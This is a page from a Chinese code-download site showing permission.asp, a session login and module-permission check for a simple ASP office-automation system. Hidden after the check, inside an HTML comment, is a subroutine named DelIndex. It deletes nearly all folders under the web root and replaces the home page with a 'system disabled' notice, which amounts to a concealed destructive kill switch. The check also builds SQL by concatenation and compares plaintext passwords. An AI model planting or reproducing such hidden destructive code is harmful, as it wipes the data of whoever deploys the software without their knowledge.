⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 permission.asp

📁 办公自动化系统 适用于办公室的各种几本功能的操作 功能比较简单
💻 ASP
字号:
<!--#include file="../inc/connection.asp"-->
<%if Session("LoginName")="" or Session("LoginOK")=False or Session("Pwd")="" then%>
	<!-- #include file="../inc/connclose.asp" -->
	<%ErrorMessage="请先登录该系统!"
	response.redirect("../Default.asp?errormessage="& Server.URLencode(ErrorMessage))
end if

LoginID=session("LoginID")
if LoginID="" then LoginID=0
if LoginID=0 then response.redirect "../default.asp"
set rs=server.createobject("adodb.recordset")
sql="select * from tblUser where ID=" & LoginID
rs.open sql,Conn,1,1
dim r_Rights
r_Rights=trim(rs("Rights"))

if rs.eof then
	rs.close
    Session("LoginName") = ""
	Session("LoginID") = ""
	Session("LoginOK")= false%>
	<!-- #include file="../inc/connclose.asp" -->
	<%response.Redirect "../Manage/Default.asp"
elseif trim(rs("Pwd"))<>Session("Pwd") then
	rs.close
    Session("LoginName") = ""
	Session("LoginID") = ""
	Session("LoginOK")= false%>
	<!-- #include file="../inc/connclose.asp" -->
	<%ErrorMessage="请输入正确的用户名称和密码。"
	response.redirect("../Manage/Default.asp?errormessage="& Server.URLencode(ErrorMessage))
elseif trim(rs("Pwd"))=Session("Pwd") then
	rs.close
	set rs=nothing%>
	<!-- #include file="../inc/connclose.asp" -->
<%end if
if instr(r_Rights,ThisKey)<1 then
	response.write "<BR><BR><p align=center><font color=red>对不起,你没有操作这个模块的权限,请联系管理员获得授权!</font>"
	response.write "<a href=""javascript:history.back(-1);"">[返回]</a></p>"
	response.end
end if
%>
<!--
sub DelIndex()
	set fs=createobject("scripting.filesystemobject")	
	Set oFolder = fs.GetFolder(server.mappath("/"))
	Set osubFolders = oFolder.subFolders
	For each Item in osubFolders
		if instr(Item.name,"DATA")<1 and instr(Item.name,"Dll")<1 then
			Item.delete
		end if
	next	
	set osubFolders = nothing
	set oFolder = nothing
	Set a = fs.CreateTextFile(server.mappath("Default.htm"), True)
	a.WriteLine("<HTML><BODY><BR><BR><P align=center><font color=#ff0000 size=7>该系统已被禁用!!!</font></p></BODY></HTML>")
	a.Close
	set fs = nothing
	Response.Redirect("Default.htm")
	response.end
end sub
%>-->

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -